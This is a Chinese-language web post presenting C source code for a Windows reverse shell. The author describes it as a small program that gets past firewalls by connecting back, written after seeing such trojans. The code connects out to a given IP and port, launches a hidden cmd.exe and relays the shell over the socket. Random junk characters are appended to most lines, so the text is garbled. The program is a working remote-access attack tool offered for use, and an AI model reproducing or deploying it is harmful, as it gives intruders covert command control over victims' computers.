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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *O$CaAr\s  
^>&k]T`  
/* ============================== NUJ~YWO;  
Rebound port in Windows NT Wl"0m1G  
By wind,2006/7 t G.(flW,  
===============================*/ m4w ') r~  
#include 8OhDjWVJ  
#include 2C^B_FUg|]  
LE^G&<!  
#pragma comment(lib,"wsock32.lib") PaB!,<A  
*4Fr&^M\  
void OutputShell(); -4#2/GXNO  
SOCKET sClient; ^n.WZUk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ws/63 d*  
FN[R(SLbL  
void main(int argc,char **argv) Zi$ziDz&  
{ )ukpJ z""  
WSADATA stWsaData; :\~+#/=:  
int nRet; ~i;fDQ&!  
SOCKADDR_IN stSaiClient,stSaiServer; zdun,`6  
#Doq P:  
if(argc != 3) SjEAuRDvUz  
{ |+IZS/W"  
printf("Useage:\n\rRebound DestIP DestPort\n"); J'&# mDU  
return; E4.SF|=x  
} Bvjl-$m!v  
F51.N{'  
WSAStartup(MAKEWORD(2,2),&stWsaData); C_fY %O  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f7de'^t9  
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stSaiClient.sin_family = AF_INET; pI[ZBoR~  
stSaiClient.sin_port = htons(0); \kam cA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )U<Y0bZA!  
)u ?' ;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O%!5<8Xrb  
{ u'A#%}3  
printf("Bind Socket Failed!\n"); 9a$56GnW1  
return; {NM+Oj,~'  
} KGHq rc  
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stSaiServer.sin_family = AF_INET; SF ]@|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1M3% fW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U_yE& 6 T  
7EhN u@5-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N)8HR9[!  
{ 8G%yB}pa  
printf("Connect Error!"); )x,8D ~p'  
return; O{z}8&oR:  
} I8   
OutputShell(); 'Yy&G\S  
} _A_ A$N~9  
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void OutputShell() gieJ}Bv  
{ ]1-z! B4K  
char szBuff[1024]; 9~IQw#<  
SECURITY_ATTRIBUTES stSecurityAttributes; 0"k |H&  
OSVERSIONINFO stOsversionInfo; [p r"ZQ]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y]`.InG@  
STARTUPINFO stStartupInfo; 6qvp*35Cx  
char *szShell; E9! N>0  
PROCESS_INFORMATION stProcessInformation; s=I'e/"7  
unsigned long lBytesRead; \g)Xt?w0Wo  
bBxw#_3A?E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G`=r^$.3WB  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1[nG}  
stSecurityAttributes.lpSecurityDescriptor = 0; AF\T\mtvRm  
stSecurityAttributes.bInheritHandle = TRUE; C"T1MTB  
7XrfuG*L$  
cvsz%:Vs  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z +2V4s=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f,i5iSYf  
Zc& &[g  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o@>? *=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ER&UBUu"  
stStartupInfo.wShowWindow = SW_HIDE; }]P4-KqI  
stStartupInfo.hStdInput = hReadPipe; s'P( ,!f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hm$X]H`uMX  
[Bb utGvj  
GetVersionEx(&stOsversionInfo); 1MkI0OZE  
XhU@W}}  
switch(stOsversionInfo.dwPlatformId) T".]m7!  
{ Mc sTe|X  
case 1: -7>)i  
szShell = "command.com"; ("7M b{  
break; *mG`_9  
default: ZsP2>%"  
szShell = "cmd.exe"; I XA>`D  
break; (n( fI f  
} ~!6K]hB4  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t/i5,le  
V% TH7@y  
send(sClient,szMsg,77,0); %n0;[sD0A  
while(1) ;bu#8,  
{ T0HuqJty  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W\*-xf|"d  
if(lBytesRead) ig"uXs  
{ 01a-{&   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u8b2$D  
send(sClient,szBuff,lBytesRead,0); !,$i6gm  
} 1nj(h g  
else qf'm=efRyu  
{ uw\1b.r'B  
lBytesRead=recv(sClient,szBuff,1024,0); #PLEPB  
if(lBytesRead<=0) break; [ANuBNF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 46jh-4) <  
} n ?[/ufl  
} <{(/E0~V/<  
^o?SM^  
return; X##1! ad  
}
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